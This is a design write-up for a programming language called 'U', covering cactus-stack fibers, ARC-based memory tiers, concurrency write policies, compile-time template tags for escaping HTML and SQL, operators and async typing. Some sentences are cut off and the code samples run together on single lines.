// Parent scope config = load_config() // -R, lives on parent's stack segment threshold = 42 // -R, same // Async child fibers — each gets its own branch r1: Result+A = a process(config, threshold) // branch 1 — config/threshold safe to capture r2: Result+A = a process(config, threshold) // branch 2 — same parent segment // config and threshold never needed +R // cactus keeps parent segment alive while any child references it
Parent segment (config, threshold live here — retained by ref count)
│
├── Branch 1 (r1 fiber — references parent segment)
└── Branch 2 (r2 fiber — references parent segment)
│
└── Branch 2a (child of r2 — parent ptr → Branch 2 → Parent)
New branch, not copy-on-write. When the parent fiber unwinds past a fork point while a child still holds a reference to that segment, it simply starts a new branch — a fresh segment allocated from the same ancestor, leaving the retained segment intact. No copy, no coordination, no borrow check. The retained segment lives exactly as long as any child references it, then is freed.
This means parent-scope -R locals are safe to capture in child fibers by construction. The cactus tree makes the common case — a parent scope whose variables are used by child async calls — require zero annotation. +R is only needed when:
| Situation | Needs +R? | Why |
|---|---|---|
| Parent-scope variable captured by child fiber | No ✓ | Cactus retains parent segment |
| Variable shared between sibling fibers | Yes | Siblings are separate branches — no shared segment |
| Value outlives all fibers that reference it | Yes | Must survive beyond the declaring scope |
| Value stored in a collection or struct field | Yes | Collection lifetime may exceed the stack frame |
Value returned from an a f function | Yes | Escapes the stack frame that declared it |
// ✓ COMMON CASE — no +R needed, cactus handles it multiplier = 3 items.x(item => (a process(item, multiplier))) // multiplier: -R, safe // ✓ Multiple async children sharing parent vars base_url = "https://api.example.com" results = [ids.map(id => a fetch(base_url, id))].all() // base_url: -R, safe // ✗ Sibling fibers sharing mutable state — needs +R+M(policy) counter: Counter+R+M(MVCC) = Counter() // +R because siblings share it items.x(item => (a process_and_count(item, counter))) // ✗ Value needs to outlive declaring scope cache: Cache+R = Cache() // +R because stored beyond this frame app.register(cache)
This is a qualitative difference from Rust's borrow checker (which requires explicit lifetime annotations for any sharing) and from Go (which copies entire stacks on growth). The cactus model makes the common case — parent scope captured in async children — require no annotation at all. Annotations appear only at the boundaries where they genuinely matter.
Three memory regions — Stack, Heap, Cactus
Most languages have two memory regions: the call stack and the heap. U has three:
| Region | What lives there | Allocation | Lifetime |
|---|---|---|---|
| Stack | Local variables in non-suspendable code | O(1) — frame push | Freed when function returns |
| Heap | +R values — objects with non-local lifetime | malloc / ARC | ARC reference counting |
| Cactus | Fiber segments — all local state for suspendable fibers | Pool slab — one segment per fiber, O(1) | Freed when last child releases reference (biased ARC) |
The cactus pool is not the OS heap. The runtime mmaps a large region upfront and manages it with its own rules — fixed-size segments (typically 4–64KB), a free list, biased reference counts. Spawning a fiber takes one segment from the free list and links a parent pointer. Freeing a branch returns the segment. No GC tracing. No per-value malloc overhead. Not subject to allocator fragmentation or OS malloc behaviour. Stack. Heap. Cactus — three primitives.
Defensive a foo() — future-proof call sites for free
You can write a foo() even when foo is not yet an a f. While foo is synchronous, the call executes on the same cactus segment — literally one stack, zero overhead, no branches created. If foo later adds a f, the call site is already correct. No refactoring cascade, no caller rewrite, no coloring. The price of going async is one branch allocation in the callee — paid once, not propagated.
Performance — why cactus branches are cheap
A fiber that runs to completion on a single processor and is never stolen pays: one pool segment allocation, zero atomic operations. Biased ARC means all reference count operations within the owning processor are non-atomic. Atomic operations only appear when a fiber crosses a processor boundary — exactly when the work-stealing scheduler moves a branch to a different core. The cactus structure makes this precise: cross-segment references go through parent pointers, and parent pointer dereferences from a non-owner thread are the only sites that need atomic ops.
Values inside a segment have stack-like cache locality — they were written sequentially as the fiber ran, they sit contiguously in the segment, and they are read back in roughly the same order. No GC scan, no pointer-chasing across heap objects, no mark-sweep pause. The segment is freed as a unit when its reference count hits zero.
Work stealing — already in the design
Fibers are branches. A work-stealing scheduler can assign any branch to any available processor. Biased ARC handles the transition: while a fiber runs on its original processor, all ref count ops are non-atomic (fast path). When the scheduler steals the fiber and moves it to a different processor, cross-segment ref count operations switch to the atomic path automatically. The programmer writes no synchronisation code — the cactus structure and biased ARC handle it structurally.
Compiling to WASM
WASM's native call stack is not accessible to user code, so all cactus segments live in WASM linear memory. Three compilation paths:
| Approach | Status | How it works | Overhead |
|---|---|---|---|
| Stack switching proposal | Progressing — not yet widely deployed | WASM gets cont types and suspend/resume instructions. Cactus segments map to WASM continuations 1:1. Natural fit — the proposal and U's model solve the same problem. | Near-zero — native runtime support |
| Manual shadow stack | Works today | Runtime manages a pool of segments in linear memory. Segment header: parent pointer, ref count, resumption PC. Spawn = grab segment from pool, link parent. Suspend = write PC, return handle. Resume = load handle, jump. | One pool lookup per spawn/free |
| Asyncify (Binaryen) | Works today | Rewrites the entire program to store frame state in linear memory on suspend. No code changes needed. | ~50–100% on async paths — not recommended for U |
The Bun path. Bun is written in Zig, which has first-class stackful coroutine support in its standard library, and Bun's JavaScriptCore has mature fiber infrastructure. U compiled to WASM running on Bun can delegate cactus segment management to Bun's existing machinery — the cactus pool becomes a Zig slab allocator backed by JSC's fiber primitives. No custom infrastructure needed; the runtime Anthropic already owns already knows how to do this.
The native C target is where U would fly fastest — mmap a large region, slab-allocate segments, biased ARC runs natively, work stealing assigns branches across cores. The common case (single-threaded, non-stolen) pays zero atomic operations. That is an unusual property for a language with safe concurrency.
Proxy Policies — +M(policy)
All +R +M objects are proxy-mediated. The +M(policy) modifier declares how writes and reads are handled. It can appear on the class definition as a default, or at the binding site as an override. Multiple concurrent writers are possible — structurally impossible in safe Rust.
| Modifier | Semantics | Cleanup | Best for |
|---|---|---|---|
+R(RAII) | Lifetime policy on +R: drop() fires when last ref drops | Immediate, ref-counted | File handles, GPU resources, DB connections |
+R(Network) | Lifetime policy on +R: object lives remotely, reads/writes are RPC | Remote lifetime | Microservices, distributed objects |
+R(GPU) | Lifetime policy on +R: object lives in GPU device memory | GPU driver | ML weights, tensors, geometry buffers |
+M(Actor) | Write policy on +M: all mutations serialised through message queue | Refcounted | Mutable state with concurrent writers, UI |
+M(MVCC) DEFAULT | Write policy on +M: optimistic versioning — readers never block, writers create new version | Old versions freed when no readers | Config, shared state with rare writes |
+M(CRDT) | Write policy on +M: commutative merge — all writes eventually consistent | Refcounted | Distributed counters, sets, logs |
+M(Mutex) | Write policy on +M: exclusive lock — one writer at a time | Refcounted | Low-level critical sections |
+P on the class definition is the default for all +R +M instances. +P at the binding site overrides it. If neither is specified, the binding site must declare one when using +R +M.
// Class-level default policy d AppState+M(MVCC) data: [S] state: AppState+R+M = AppState() // uses MVCC from class snap = state.c() // instant snapshot, no lock state.update(delta) // serialized write through proxy // Binding-site policy — class has no default, policy declared here inbox: Queue+R+M(Actor) = Queue() inbox.append(msg) // enqueued, processed in order votes: GCounter+R+M(CRDT) = GCounter() votes.increment(node_id) // order doesn't matter, same result // RAII — cleanup fires when last reference drops d FileHandle+R(RAII) fd: I f drop(t: FileHandle+R) // called automatically on last-ref-drop os.close(t.fd) // Override class default at binding site c1: Counter+R+M = Counter() // uses class default c2: Counter+R+M(MVCC) = Counter() // override
Context-Aware Templates — Inline and External
U has nine compile-time template tags. Each tag enforces a distinct type contract on interpolated values. The same tags work both inline (backtick literals) and as external file loaders via Template.*. Both forms are validated at compile time; both produce the same typed output values.
Template tags are compile-time functions that return compiled runtime functions. The tag validates the schema at compile time, generates a specialised function, and returns it as a typed value. The inline form sql\`SELECT ...\`(args) compiles once and calls immediately; the stored form const q = sql\`SELECT ...\` is a prepared statement — compile once, call many times on hot paths.
Security is isolated in the tag module. The sql module is solely responsible for SQL injection safety; the html module for XSS; the capnproto module for schema validation and field layout; the eip712 module for ABI encoding correctness. Each module is the single load-bearing point for its domain. Audit it once — every use site is safe by construction. You cannot construct an Html value without going through html\`\`; you cannot issue a query without going through sql\`\`. The compiler enforces you go through the chokepoint.
Third-party tags extend this to any schema format: capnproto\`Foo/User\`(bytes) reads a .capnp schema at compile time, verifies the U type matches, and returns a compiled [B] → User+N decoder. The capnproto module carries the security responsibility for that domain, just as sql does for queries.
Traditional macro systems (C #define, Rust proc-macros, Lisp macros) are DSL engines built on top of the language, operating on token streams without type participation. Template tags in U are DSL engines built inside the language, where the type system participates at every step:
| Preprocessor macros | U template tags | |
|---|---|---|
| Written in | Separate meta-language (token streams) | U itself — c f functions |
| Types during expansion | None — errors are cryptic | Full type system participates |
| Security responsibility | Scattered — each use site | Isolated in the tag module |
| Error messages | Expansion artifacts | First-class — author writes them |
| Runtime overhead | None (compile-time) | None — returns compiled function |
| Composability | Fragile — hygiene problems | Any module can define a tag |
The language is extensible via compile-time libraries. Any module can define a template tag as a c f. The tag author chooses what mini-language to accept, validates it against the type system, and returns a typed compiled value. Users get a new DSL with no new language features — just a new import.
Compile-time capability safety. Template tags run at compile time but are capability-gated just like runtime code. A sql\`\` tag with no capabilities can parse and type-check queries — nothing else. A capnproto\`\` tag declaring o Compiler.fs can read .capnp schema files at compile time — but only files, nothing more. No template tag can modify another module's types, inject code into the caller's scope, or escalate beyond its declared capabilities. You can audit exactly what a tag can do by reading its o declarations — the same capability discipline that governs runtime code governs compile-time code.
What cannot be clobbered without explicit capabilities: the file system, the network, other modules' private types, the caller's local scope, and the type environment of any module that hasn't declared an import from yours.
Interpolation rules for html`...`
Type in {expr} | Result |
|---|---|
S | HTML-escaped — & < > " replaced with entities |
I N U D | Auto-.__string__() then escaped — {count} just works |
Html | Passed through — already safe, no double-escaping |
[Html] | Concatenated in order — the composition primitive. {items.map(fn)} where fn returns Html outputs all items joined. |
Html+N | Empty string if none — conditional rendering without special syntax |
[Html]+N | Empty if none |
| Anything else | Compile error — L, custom types, etc. must be converted explicitly |
Format specifications — {value:spec}. Inside any template interpolation, a colon followed by a format spec applies Python-style formatting before the tag processes the value. The colon is unambiguous in template context (the spec can never be a type):
| Syntax | Example | Result |
|---|---|---|
{n:.2f} | s`Total: {price:.2f}` | "Total: 42.50" |
{s:>20} | s`Name: {name:>20}` | Right-aligned, width 20 |
{n:04} | s`ID: {id:04}` | Zero-padded, width 4 |
{n:.1%} | s`Rate: {ratio:.1%}` | "Rate: 42.3%" |
{n:,} | s`Pop: {count:,}` | "Pop: 1,234,567" |
The format spec runs at compile time when the value is a literal, at runtime otherwise. In html\`\` the value is formatted first, then HTML-escaped — so html`{price:.2f}` produces a safe, formatted number.
html`` (empty backtick) is the empty fragment — the correct return value when conditional rendering produces nothing:
// Leaf component — pure function returning Html: f badge(user: User) -> Html r => user.admin ? html`<span class="badge">{user.role}</span>` ! html`` // [Html] — map returns array, template concatenates: f product_list(products: [Product]) -> Html r => html` <ul> {products.map((p) => html`<li>{p.name} — {p.price}</li>`)} </ul> ` // Compose — Html values wire together, [Html] flattens: f page(title: S, user: User, products: [Product]) -> Html cards: [Html] = products.map(product_card) // each returns Html r => html` <h1>{title}</h1> {badge(user)} <div class="grid">{cards}</div> `
External templates — Template.*
The Template built-in namespace loads external files at compile time. The compiler reads the file, type-checks all {expr} blocks against the declared params, and bundles the result. The file can be updated by designers, DBAs, or translators without touching U code — as long as the params interface is preserved. Adding a new {param} to the file is a compile error until the caller provides it.
External files use their native format — real .html, .sql, .css — so syntax highlighting, Prettier, and tooling all work. The {} blocks inside them are full U expressions (not just simple substitution), evaluated with the params in scope.
// External file — compiler reads at build time, validates params: page = Template.html("templates/page.html", { title, content, user }) report = Template.sql("queries/report.sql", { start_date: D, end_date: D }) theme = Template.css("styles/theme.css", { brand: Color, spacing: N }) icon = Template.svg("assets/star.svg", { size: N, fill: Color }) // External HTML can contain full U expressions — not just {placeholder}:
<h1>{title}</h1> <ul> {items.map((item) => html`<li class="{item.type}">{item.name}</li>`)} </ul> {featured ? html`<div class="hero">{featured.name}</div>` ! html``}
Html. Composing them — choosing which data goes where, which items get mapped — lives in typed U code. The template file owns layout and markup; the app owns logic. No framework, no lifecycle, no virtual DOM.
i18n — all languages bundled at compile time
Templates.localized("i18n/") reads the entire locale directory at build time. Every language file is validated against the primary locale (missing key = compile error, wrong placeholder type = compile error). All languages are bundled into the output. The runtime selects a bundle based on user locale — no file I/O, no missing-key crashes, no runtime lookups against unknown keys.
// Import entire locale directory — all languages bundled, runtime selects: Locale = Templates.localized("i18n/") // Each key becomes a typed property or function: Locale.greeting({ name: user.name }) // key with {name} placeholder → S Locale.button.submit // no params → S directly Locale.error.not_found({ id: item_id }) // nested key, typed param → S // en.json — primary locale (all others validated against this): // { "greeting": "Hello, {name}!", "button": { "submit": "Submit" } } // fr.json missing "greeting" → compile error // de.json has wrong placeholder type in "greeting" → compile error
Template tag summary
| Tag | S input | Same type | Returns | External |
|---|---|---|---|---|
html`...` | HTML-escaped | Html / [Html] passed through | Html | Template.html("f.html", {...}) |
sql`...` | Parameterized | Sql composed | Sql | Template.sql("f.sql", {...}) |
css`...` | Typed (Color, N…) | Css composed | Css | Template.css("f.css", {...}) |
url`...` | URL-encoded | Url composed | Url | Template.url("f.txt", {...}) |
svg`...` | HTML-escaped | Html / Svg | Html | Template.svg("f.svg", {...}) |
regex`...`flags | Compile error | Regex composed | Regex | — |
md`...` | Escaped then rendered | Html passed through | Html | Template.md("f.md", {...}) |
command`...` | Shell-escaped | Command composed | Command | Template.sh("f.sh", {...}) |
msg | — | — | Locale namespace | Locale = Templates.localized("i18n/") |
S cannot reach any sink. The guarantee is structural: the only way to produce Html is via a template that escapes S. The only way to produce Regex is via regex`` which rejects S entirely. A raw string variable cannot be cast, coerced, or sneaked past the type system into an unsafe context.
Template literals are literals
The tag (html, sql, css, url, regex, md, sh) must appear literally at the call site — not stored in a variable, not passed as a parameter. The escaping rule is determined per-tag at compile time; dynamic tags are rejected. Use \` to include a literal backtick inside any template.
JSON with comments
U's JSON literals support /* */ and // comments via a strip pass before parsing — the same approach VS Code uses for .json config files. Comments are stripped at compile time for inline literals, at load time for runtime JSON.
Template Tags as a DSL Engine
Every template tag is a domain-specific compiler packaged as a library. The language ships nine built-in tags; the extension model is the same for any third-party module. This makes U's template system a general metaprogramming facility — and a better one than preprocessor macros.
The range of possible DSL extensions is large:
| Domain | Example tags | What the tag validates |
|---|---|---|
| Data formats | json, yaml, toml, csv, avro, parquet | Schema correctness, round-trip fidelity |
| Query languages | sql, graphql, cypher, sparql, mongo | Injection safety, field existence, type correctness |
| Systems / binary | asm, shader, cuda, wasm, bitfield, le/be | Register types, layout alignment, endianness |
| Mathematical | units, tensor, grad, matrix | Dimensional compatibility (m + s is a compile error), shape correctness |
| Infrastructure | cron, semver, env, k8s | Expression validity, constraint satisfiability, schema presence |
| Blockchain | eip712, abi, rlp, bip32 | ABI encoding correctness, type packing, path validity |
| Testing | expect, property, bench | Assertion structure, generator types, timing contracts |
| Business logic | rules, fsm, workflow | Reachability, exhaustiveness, state validity |
Compared to C++ template metaprogramming. C++ TMP emerged as an accident of substitution-failure rules — nobody designed it as a DSL engine. It operates primarily on types via SFINAE, produces thousand-line error traces, has no capability model, and makes writing a domain-specific compiler deeply awkward. U template tags were designed for exactly this purpose:
| C++ Template Metaprogramming | U Template Tags | |
|---|---|---|
| Origin | Accident — SFINAE side effect | Designed — c f first-class |
| Written in | Template specialisation syntax | U itself |
| Operates on | Types (primarily) | Types, values, and strings |
| Error messages | Instantiation trace, often thousands of lines | Author writes them — first-class S values |
| Security | None — unrestricted at compile time | Capability-gated — o declarations auditable |
| DSL support | Deeply awkward | The primary use case |
| Composability | Fragile — specialisation conflicts | Any module defines a tag — no conflicts |
| Compile times | Pathological for heavy TMP | Focused c f, bounded per tag |
The closest existing analogs are Racket's #lang (define a new language as a library) and Groovy's builder DSLs. Racket's version requires implementing a full language frontend; Groovy's is runtime and untyped. U template tags combine compile-time execution, type participation, capability isolation, and library-level extensibility in a single mechanism — without requiring any new language features from the user, just a new import.
The units tag illustrates the ceiling. Dimensional analysis at compile time — m + s is a type error, m/s * s resolves to m, unit conversions are validated — prevents the class of error that crashed the Mars Climate Orbiter. That is a library. The language provides the mechanism; the domain expert provides the semantics.
One Language, Every Layer
Because template tags are library code, U becomes the first language where compile-time validated HTML, CSS, SQL, binary wire formats, LLM prompts, and P2P protocols all use the same mechanism — and where any of these can be added by a library author, not a language designer.
No framework needed. No separate build step. No templating engine. The language is the stack:
f handle_users(req: HttpRequest) -> HttpResponse+A users = sql`SELECT name, email FROM users WHERE active = {true}`() r => HttpResponse.ok(html` <!doctype html> <html> <head><style>{css`body { font-family: system-ui } li { padding: 4px }`}</style></head> <body> <ul>{users.map(u => html`<li>{u.name}</li>`)}</ul> </body> </html> `)
Compile-time validated HTML, CSS, SQL injection-safe — no runtime template engine, no framework required. The same pattern extends across every protocol and API layer:
| Domain | Tags | Connects to |
|---|---|---|
| Web | html, css, svg | Browser, web servers — compile-time XSS prevention |
| Relational | sql, orm | MySQL, Postgres, SQLite — compile-time injection safety |
| Document | mongo, elastic | NoSQL, full-text search |
| Wire formats | protobuf, capnproto, msgpack | gRPC, binary APIs — schema-validated |
| AI models | prompt, diffusion | LLMs, image models — typed inputs and outputs |
| P2P | hypercore | Holepunch, Dat — typed distributed log subscriptions |
| Blockchain | eip712, abi | Ethereum, EVMs — ABI encoding correct by construction |
| Graph / Streams | qbix, safebox | Qbix Streams graph DB, Safebots API |
html/template gives runtime-safe HTML. But none unify all of these under one mechanism that any library author can extend. PHP was the "web language" but its templating is untyped string interpolation. JavaScript is web-native but its tagged template literals carry no type information. U is the first where compile-time validated HTML, CSS, SQL, protobuf, LLM prompts, and P2P protocols all use the same typed, capability-isolated, library-extensible tag mechanism — and where adding a new protocol requires no language change, only a new o import.
Arithmetic, Bitwise, and Power Operators
Bounds checks, divide-by-zero checks, and overflow detection are on by default. ! is the universal opt-out suffix. Since & and | are the guard and fallback operators, bitwise operators use the ~ prefix — keeping single-character operators for the more common logical forms.
Operator table
| Operator | Meaning | Notes |
|---|---|---|
+ - * / % | Arithmetic | Safe by default · ! suffix to opt out |
^ | Power / exponentiation | x^2, 2^n, 10^k · ^ reads as superscript in math |
! | Logical NOT (unary) | !valid, !empty |
+a | Absolute value (unary) — built-in for all numeric types. Symmetric with -a negation. No magic method required. | +x, +vec (element-wise) |
& | ?? | Guard · fallback · null-coalesce | Short-circuit · see Conditionals |
~& | Bitwise AND | flags ~& mask |
~| | Bitwise OR | a ~| b |
~^ | Bitwise XOR | a ~^ b · ~ prefix = bitwise domain |
~! | Bitwise NOT (unary) | ~!value |
~< ~> | Left / right shift | x ~< 3 · x ~> 1 |
& is guard; ~& is AND-bits. | is fallback; ~| is OR-bits. ! is logical NOT; ~! is bitwise NOT. ^ is power; ~^ is XOR. The ~ prefix is a one-character annotation that shifts the entire symbol into the bitwise domain.
^ as power: C programmers used to ^ meaning XOR will need to adjust. In U, ^ means power and XOR requires ~^. The design is internally consistent — since all bitwise operators carry the ~ prefix, there is no bare bitwise ^ to confuse with. The gain: x^2, 2^n, and 10^k read as they would in a math textbook.
// Arithmetic — safe by default total = big + small // overflow-checked ratio = num / divisor // zero-checked item = arr[index] // bounds-checked // Use U32/U64 for intentional wraparound: hash = seed * prime // U32: wraps by definition // (signed types always trap; unsigned types always wrap) item = arr[index] // ! = opt out of bounds check // Power — ^ is exponentiation area = side ^ 2 // x squared scale = 2 ^ bits // 2^n for bit counts mag = 10 ^ exponent // order of magnitude // Bitwise — all use ~ prefix masked = flags ~& 0xFF // AND bits merged = a ~| b // OR bits toggled = a ~^ b // XOR bits flipped = ~!value // NOT bits (unary) shifted = bits ~< 3 // left shift aligned = bits ~> 2 // right shift // Mix — ~ prefix makes bitwise vs logical unambiguous at a glance valid = (flags ~& MASK) & not_expired // ~& bitwise, & guard
Chained Comparisons
Comparison operators chain naturally: a < b <= c means (a < b) and (b <= c) with b evaluated exactly once. This eliminates duplicate subexpressions in range checks and ordering assertions.
This is unambiguous by the type system, not by a special parsing rule. a <= b returns L, and L < c is a compile error — you cannot compare logicals with <. So a <= b < c can only ever mean a chain; the type system makes left-associative interpretation impossible. No grammar ambiguity, no precedence exception.
Any mix of <, <=, >, >=, ==, != chains. Short-circuits left-to-right. Returns L.
// Range checks — no duplicate subexpressions 0 <= i < arr.length // valid index — evaluated once min <= val <= max // clamped value a < b < c // strict ordering // Equivalent to — but b evaluated only once: 1 < x <= 10 // (1 < x) and (x <= 10) // Short-circuits — b() not called if a >= b() a <= b() <= c // b() called at most once // Works in conditions 0 <= score <= 100 ? grade(score) ! error("out of range")
Matrix and complex arithmetic
+ - * / on arrays and matrices are element-wise. @ is matrix multiplication (__matmul__). ^ is built-in power — no magic method. Signed integers trap on overflow; unsigned integers wrap by definition.
A: [[N32]] = [[1.0, 2.0], [3.0, 4.0]] B: [[N32]] = [[5.0, 6.0], [7.0, 8.0]] A + B // element-wise add A * B // element-wise multiply (Hadamard) — NOT matmul A ^ 2 // element-wise square (built-in, no magic method) A @ B // matrix multiplication — __matmul__ a: [N32] = [1.0, 2.0, 3.0] b: [N32] = [4.0, 5.0, 6.0] a.dot(b) // scalar dot product: 32.0 v.cross(w) // 3D cross product — [N32] length 3 only // Complex numbers: z: C64 = (3.0, 4.0) // real=3.0, imag=4.0 (two N32) w: C128 = (1.0, -2.0) // two N64 z + w z * w // arithmetic via __add__, __mul__ z.re z.im // N32 accessors z.abs() // +a → __abs__(): 5.0 // Signed traps, unsigned wraps: total: I32 = balance + deposit // traps on overflow — always hash: U32 = seed * prime // wraps — by definition of U32
Memory Model — Tiered Allocation
The modifier system gives the allocator perfect information at compile time. Every allocation strategy is determined from the type annotation. No runtime profiling, no GC, no stop-the-world pauses.
| Modifier | Where allocated | ARC | Freed when |
|---|---|---|---|
| -R | Stack frame | none | Scope exit — O(1) stack pointer move |
| +R refcount=1 | Per-fiber nursery (bump ptr) | integer | Nursery reset — O(1) if never shared |
| +R refcount>1 | Main heap (size classes) | integer | Refcount reaches 0 — deterministic |
| +R -M | Immutable pool | integer | Refcount → 0, may be hash-consed |
| +R (cycles) | Heap, candidate list | integer | Background cycle detector — bounded pause |
| +V | SIMD registers / vector unit | none | Scope exit — compiler manages register allocation |
| +R(GPU) | GPU device memory | none | Last +R(GPU) ref drops — DMA dealloc |
-R+M references is deferred to the earliest moment contention becomes possible: the compiler inserts copies at a; yield points, and the scheduler inserts them at steal time. -R-M values are never copied — immutable, safe from any processor at any time. The happy path (single processor, no voluntary yield, no steal) pays zero copy cost. All other allocation decisions remain determined at compile time from the modifier annotations — no runtime profiling, no GC.
atomic_fetch_add, no memory fences, no cache coherence traffic. 10–50× cheaper than Swift or Objective-C ARC.+R object has refcount=1 — it's "genesis" state, effectively still local. The per-fiber nursery allocates with a bump pointer (O(1)). Only when refcount goes above 1 does the object promote to the main heap. Most objects never promote.Copy — .c()
.c() is the only way to create a copy. No implicit copies anywhere. The compiler has a static copy budget per function — the exact number of allocations it can cause.
What .c() copies — determined by the class definition
.c() is a shallow copy by property declaration. Whether a property is duplicated or shared depends on its modifier, declared on the class:
-Rproperties (inline) — value is copied into the new object. For mutable ones, COW applies: the copy shares backing data until the first write.+Rproperties (heap reference) — the reference is copied, not the heap object. Original and copy point to the same object. Exactly like PHP clone: object properties are shared, not duplicated.
The class definition is the copy contract. No separate clone() method or copy protocol. The programmer controls copy depth declaratively by choosing -R vs +R per property.
// Copy vocabulary — only these four forms exist ref = obj // retain: refcount++ only, zero allocation ref = obj.c() // copy: -R props by value, +R props share ref ref = obj.c(+V) // domain copy: DMA to GPU memory ref = obj.c(+R) // promote: -R stack value → +R heap allocation // COW: .c() is lazy for -R +M properties — no allocation until write snap = state.c() // marks COW intent, no allocation yet read_from(snap) // reads shared data, zero cost snap.field = new_val // NOW allocates + copies, then writes // Copy elision: refcount=1 at .c() call site → zero cost cfg = load_config() // +R, refcount=1 (genesis) local = cfg.c() // refcount was 1 → compiler elides entirely
.c() calls determines it.
Zero-Copy Returns
Returning a -R value via r.field = ... writes directly into the caller's pre-allocated stack slot. The callee's frame "popping" doesn't copy anything — it just moves the stack pointer. This is Named Return Value Optimization, but guaranteed by the type system rather than hoped for from the optimizer.
// Callee allocates, caller receives copy Result make_result() { Result r; // callee's stack r.val = compute(); return r; // COPY to caller }
// Callee writes into caller's slot f make_result() -> Result r.val = compute() // writes to caller's frame // no copy. Ever.
For +R return types, the heap object is allocated once during construction. The return value is an 8-byte pointer. No copy of the object contents occurs at any point.
Defaults — Safe and Fast Require No Annotations
Every default is chosen to be cheapest and safest. You pay for costs by annotating +.
| Context | Default | Meaning |
|---|---|---|
| Scalars & function params | -R -M -N | Local, immutable, non-null — zero cost |
| Arrays and maps | -R +M -N | Mutable by default — push/insert without annotation |
| Object properties | +M | Mutable by default — mark -M only for frozen-after-construction fields |
| -M arrays/objects | — | Must be initialized with already-constructed values; compiler constructs in-place |
| Local variables | -R +M -N | Local, mutable (reassignable), non-null |
| Class instances | -R +M -N | Local mutable — can be promoted to +R with .c(+R) |
| Return types | -R +M -N | DPS — zero copy guaranteed |
| Closures | -R | Stack-allocated, doesn't escape scope |
| Fiber frame values | -A | NOT saved at suspension unless annotated +A |
| Integer literals | I | 64-bit signed |
| Array indexing | 1-based | First element = arr[1]. Last element = arr[arr.length]. arr[0] = compile error. |
| Decimal literals | N | 64-bit float |
// A function with zero annotations f stats(data: [N]) -> Stats total = data.x((acc, val) => acc + val, 0.0) mean = total / data.length r => { total, mean } // What you get for free, by default: // ✅ No null dereference (-N default) // ✅ No heap allocation (-R default) // ✅ No ARC cost (-R: no refcount) // ✅ No race condition (-R: no sharing) // ✅ No dangling reference (-R: scope lifetime) // ✅ No iterator invalidation (.x(): safe) // ✅ Zero-copy return (r.field = DPS) // ✅ No async coloring (fibers)
+A as a Pending Type
The +A modifier marks the async domain — values whose lifetime spans fiber suspension boundaries. This has two consequences from the same rule. Both are instances of lazy materialization.
Two Consequences, One Rule
| Position | Meaning | Example |
|---|---|---|
state: Req +Alocal variable |
Value crosses suspension boundary from inside — save to fiber frame at yield | state: Req +A = build_req() |
pending: S +Apending type |
Value crosses suspension boundary from outside — a fiber computing this result | pending: S +A = a fetch(url) |
a f fetch()declaration |
This function exists in the async domain — may suspend | a f lookup(key: S) -> Config |
The Two Valid Call Forms — and Nothing Else
// FORM 1: Auto-await — transparent, default, no annotation cfg = lookup(key) // Config+N — fiber suspends if needed // Identical call site whether lookup() suspends or not. // FORM 2: Async opt-in — +A INFERRED from `a` prefix pending = a lookup(key) // type inferred: Config+N+A — caller continues pending = a lookup(key) // Config+N+A — inferred // explicit — same thing, annotation optional // `a` works on ANY function — no need to declare `a f`: f compute(x: I) -> I r => x * x // plain sync function result = a compute(42) // runs on new fiber — type inferred: I+A // Auto-lift: `a` awaits +A args, lifts return type p1 = a fetch(url1) // S+A — inferred p2 = a fetch(url2) // S+A — inferred result = a combine(p1, p2) // awaits both concurrently, returns Result+A // Using a +A value — auto-awaits when assigned to non-+A: resolved: Config+N = pending // awaits if not yet done, immediate if done process(pending) // process(Config+N) — auto-awaits inline // The ONLY error: +A on left WITHOUT `a` on right // pending: Config+A = lookup(key) ✗ — can't be pending without firing a fiber
The Co-Requirement — Compiler Enforces Both
// TYPE ERROR — 'a' requires +A on LHS cfg = a lookup(key) // ❌ 'a' produces Config +A but LHS expects Config // "remove 'a' — auto-await does this already" // TYPE ERROR — +A requires 'a' at call site pending: Config+A = lookup(key) // ❌ LHS is Config +A but call site has no 'a' // "add 'a' to opt into async domain" // The error messages write themselves from the rule. // You cannot have one without the other.
Using a Pending Value
pending: Config+N+A = a lookup(key) // Auto-resolve: LHS expects Config — triggers resolution cfg: Config+N = pending // fiber suspends if still pending // Copy: stays pending other: Config+N+A = pending // no resolution, stays +A // Chain: schedule work on resolution — returns S +A rendered: S+A = pending.x(cfg => render(cfg)) // Multiple subscribers — event emitter pattern falls out naturally pending.x(cfg => log(cfg)) pending.x(cfg => cache(cfg)) pending.x(cfg => notify(cfg)) // all three run when pending resolves // No EventEmitter class. No .on() method. Just .x().
result: S = a fetch(url) (a without +A) and pending: S +A = fetch(url) (+A without a) are both type errors. Auto-await in a non-a f function is also a type error.
Lazy Materialization — Zero Cost by Default
U has two cost mechanisms: .c() copying and +A async. Both follow the same rule. Both are zero-cost in the common case. Both provide caller stability without recompilation.
1. Multiplicity — more than one participant needs what the operation produces
2. Declaration — programmer explicitly opted in (
.c(), T +A, or a call)When either is absent, the operation is a no-op at runtime. Present in source. Absent in execution.
.c() — Zero Cost at Genesis
// Condition 1 absent: refcount = 1 (genesis) cfg = load_config() // refcount=1 local = cfg.c() // .c() declared... // ...but refcount=1 → same pointer returned // Zero allocation. Zero memcpy. // .c() in source, absent at runtime.
// Both conditions met: refcount > 1 + mutation shared = cfg.c(+R) // refcount now 2 shared.update(new_value) // mutation follows // NOW the copy actually happens. // Cost paid only when genuinely needed.
+A — Zero Cost on Inline Completion
// Condition 1 absent: callee doesn't suspend // (cache hit, sync path, computed value) pending: Config+A = a lookup(key) // fiber runs inline to completion // one branch check: "suspend?" → no // returns Config directly. Zero fiber start.
// Both conditions met: callee suspends + fiber waiting pending: Config+A = a lookup(key) // actual network call inside lookup // new fiber starts, caller continues // Cost paid: fiber start + pending alloc
Caller Stability — Zero Recompilation
When a function gains suspension or sharing, no call site needs to change. This is the practical payoff of lazy materialization.
